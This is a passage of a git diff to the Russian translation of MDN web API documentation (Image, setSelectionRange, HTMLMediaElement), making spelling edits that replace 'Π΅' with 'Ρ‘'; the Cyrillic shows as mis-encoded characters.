-<div>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <strong>Image()</strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр HTMLImageElement. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ document.createElement ('img').</div>
+<div>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <strong>Image()</strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр HTMLImageElement. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ document.createElement ('img').</div>
<h3 id="ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€_элСмСнта_Image">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ элСмСнта Image</h3>
diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
index 585f5e499f..b444567202 100644
--- a/files/ru/web/api/htmlinputelement/setselectionrange/index.html
+++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
@@ -31,7 +31,7 @@ translation_of: Web/API/HTMLInputElement/setSelectionRange
<dt><em>selectionEnd</em></dt>
<dd>ИндСкс символа <em>послС</em> послСднСго Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ символа.</dd>
<dt><em>selectionDirection</em> {{optional_inline}}</dt>
- <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ направлСния ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ выдСлСния. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ значСния "forward", "backward" ΠΈΠ»ΠΈ "none", Ссли Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ нСизвСстно ΠΈΠ»ΠΈ Π½Π΅Π²Π°ΠΆΠ½ΠΎ.</dd>
+ <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ направлСния ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ выдСлСния. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ значСния "forward", "backward" ΠΈΠ»ΠΈ "none", Ссли Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ нСизвСстно ΠΈΠ»ΠΈ Π½Π΅Π²Π°ΠΆΠ½ΠΎ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -58,7 +58,7 @@ function SelectText () {
&lt;/html&gt;
</pre>
-<p>ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ:</p>
+<p>ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ:</p>
<p><img alt="example.png" class="default internal" src="/@api/deki/files/6104/=example.png"></p>
@@ -159,7 +159,7 @@ function SelectText () {
<p>[1] ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° <code>selectionDirection</code> Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Blink Π² {{WebkitBug("60403")}}.</p>
-<p>ВрСбуСтся ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ согласно спСцификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>setSelectionRange</code> ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ элСмСнтам <em>input</em> c Ρ‚ΠΈΠΏΠ°ΠΌΠΈ <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> ΠΈ <em>password</em>. Начиная с вСрсии 33, Chrome, Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π²ΠΎ врСмя ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ доступа ΠΊ этим свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠ°Ρ… элСмСнта <em>input</em>. НапримСр, для элСмСнта <em>input</em> Ρ‚ΠΈΠΏΠ° <em>number</em> появится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с сообщСниСм: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Бсылки ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос Π½Π° StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg Π±Π°Π³</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium Π±Π°Π³</a>.</p>
+<p>ВрСбуСтся ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ согласно спСцификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>setSelectionRange</code> ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ элСмСнтам <em>input</em> c Ρ‚ΠΈΠΏΠ°ΠΌΠΈ <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> ΠΈ <em>password</em>. Начиная с вСрсии 33, Chrome, Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π²ΠΎ врСмя ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ доступа ΠΊ этим свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠ°Ρ… элСмСнта <em>input</em>. НапримСр, для элСмСнта <em>input</em> Ρ‚ΠΈΠΏΠ° <em>number</em> появится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с сообщСниСм: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Бсылки ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос Π½Π° StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg Π±Π°Π³</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium Π±Π°Π³</a>.</p>
<p>[2] ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° <code>selectionDirection</code> Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π² Gecko Π² {{bug("674558")}}.</p>
diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html
index ec667078a9..5d96bdb7d8 100644
--- a/files/ru/web/api/htmlmediaelement/duration/index.html
+++ b/files/ru/web/api/htmlmediaelement/duration/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/HTMLMediaElement/duration
<h3 id="ЗначСния">ЗначСния</h3>
-<p><code>Double</code>. Если ΠΌΠ΅Π΄ΠΈΠ° Π΄Π°Π½Π½Ρ‹Π΅ доступны, Π½ΠΎ Π΄Π»ΠΈΠ½Π° нСизвСстна, Ρ‚ΠΎ duration Π±ΡƒΠ΄Π΅Ρ‚Β <code>NaN</code>. Если ΠΌΠ΅Π΄ΠΈΠ° загруТаСтся Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎΒ <code>Inf</code>.</p>
+<p><code>Double</code>. Если ΠΌΠ΅Π΄ΠΈΠ° Π΄Π°Π½Π½Ρ‹Π΅ доступны, Π½ΠΎ Π΄Π»ΠΈΠ½Π° нСизвСстна, Ρ‚ΠΎ duration Π±ΡƒΠ΄Π΅Ρ‚Β <code>NaN</code>. Если ΠΌΠ΅Π΄ΠΈΠ° загруТаСтся Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎΒ <code>Inf</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html
index 9bd4e1feca..1b069ef10a 100644
--- a/files/ru/web/api/htmlmediaelement/index.html
+++ b/files/ru/web/api/htmlmediaelement/index.html
@@ -29,7 +29,7 @@ translation_of: Web/API/HTMLMediaElement
<dd>{{Domxref ("AudioTrackList")}}, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСчислСны ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref ("AudioTrack")}}, содСрТащиСся Π² элСмСнтС.</dd>
<dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
<dd>{{Jsxref ("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ HTML {{htmlattrxref ("autoplay", "video")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π»ΠΈ воспроизвСдСниС Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ автоматичСски, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступно достаточно ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ»ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±Π΅Π· прСрывания.
- <div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π‘Π°ΠΉΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСски воспроизводят Π°ΡƒΠ΄ΠΈΠΎ (ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ с Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ), ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ нСприятными для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, поэтому ΠΈΡ… слСдуСт ΠΏΠΎ возмоТности ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ. Если Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ автозапуска, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π΅ (трСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» Π΅Π΅). Однако это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании элСмСнтов ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, источник ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ установлСн ΠΏΠΎΠ·Π΄Π½Π΅Π΅ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</strong></div>
+ <div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π‘Π°ΠΉΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСски воспроизводят Π°ΡƒΠ΄ΠΈΠΎ (ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ с Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ), ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ нСприятными для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, поэтому ΠΈΡ… слСдуСт ΠΏΠΎ возмоТности ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ. Если Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ автозапуска, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ (трСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» Π΅Ρ‘). Однако это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании элСмСнтов ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, источник ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ установлСн ΠΏΠΎΠ·Π΄Π½Π΅Π΅ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</strong></div>
</dd>
<dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("TimeRanges")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹ мСдиаисточника, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π» (Ссли Π΅ΡΡ‚ΡŒ) Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ обращСния ΠΊ свойству <code>buffered</code>.</dd>
@@ -38,7 +38,7 @@ translation_of: Web/API/HTMLMediaElement
<dt>{{domxref("HTMLMediaElement.controls")}}</dt>
<dd>ЯвляСтся {{jsxref ('Boolean')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ HTML {{htmlattrxref ("controls", "video")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ элСмСнты ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса для управлСния рСсурсом.</dd>
<dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref ("DOMTokenList")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π°Π³Π΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ элСмСнты управлСния для отобраТСния Π½Π° элСмСнтС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ свой собствСнный Π½Π°Π±ΠΎΡ€ элСмСнтов управлСния. DOMTokenList ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: nodownload, nofullscreen ΠΈ noremoteplayback.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref ("DOMTokenList")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π°Π³Π΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ элСмСнты управлСния для отобраТСния Π½Π° элСмСнтС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ свой собствСнный Π½Π°Π±ΠΎΡ€ элСмСнтов управлСния. DOMTokenList ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: nodownload, nofullscreen ΠΈ noremoteplayback.</dd>
<dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
<dd>{{Domxref ("DOMString")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ настройку CORS для этого мСдиаэлСмСнта.</dd>
<dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
@@ -50,7 +50,7 @@ translation_of: Web/API/HTMLMediaElement
<dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
<dd>Π”Π²ΠΎΠΉΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ воспроизвСдСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°.</dd>
<dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
- <dd>{{Jsxref ('Boolean')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ устанавливаСт ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ состояниС ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ воспроизвСдСния, указывая, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π»ΠΈ мСдиаэлСмСнту ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс воспроизвСдСния.</dd>
+ <dd>{{Jsxref ('Boolean')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ устанавливаСт ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ состояниС ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ воспроизвСдСния, указывая, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π»ΠΈ мСдиаэлСмСнту ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс воспроизвСдСния.</dd>
<dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° double, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π΄Π»ΠΈΠ½Ρƒ носитСля Π² сСкундах, ΠΈΠ»ΠΈ 0, Ссли Π΄Π°Π½Π½Ρ‹Π΅ носитСля ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</dd>
<dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
@@ -71,12 +71,12 @@ translation_of: Web/API/HTMLMediaElement
<dd>
<p>Π­Ρ‚ΠΎ unsigned long, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ число Π²Ρ‹Π±ΠΎΡ€ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ Π² ΠΊΠ°Π΄Ρ€ΠΎΠ²ΠΎΠΌ Π±ΡƒΡ„Π΅Ρ€Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ события MozAudioAvailable. Π­Ρ‚ΠΎ число являСтся ΠΎΠ±Ρ‰ΠΈΠΌ для всСх ΠΊΠ°Π½Π°Π»ΠΎΠ², ΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно количСство ΠΊΠ°Π½Π°Π»ΠΎΠ² * 1024 (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2 ΠΊΠ°Π½Π°Π»Π° * 1024 Π²Ρ‹Π±ΠΎΡ€ΠΎΠΊ = всСго 2048).</p>
- <p>Для свойства mozFrameBufferLength ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ, Π±ΠΎΠ»ΡŒΡˆΠΈΡ… объСмов Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ‚. Π”. Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ числом ΠΎΡ‚ 512 Π΄ΠΎ 16384. ИспользованиС любого Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ возникновСнию ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π›ΡƒΡ‡ΡˆΠ΅Π΅ врСмя для установки Π½ΠΎΠ²ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹ - послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сработало событиС Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΠ³Π΄Π° извСстна аудиоинформация, Π½ΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π°ΡƒΠ΄ΠΈΠΎ Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ, ΠΈΠ»ΠΈ события MozAudioAvailable Π½Π°Ρ‡Π°Π»ΠΈ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ.</p>
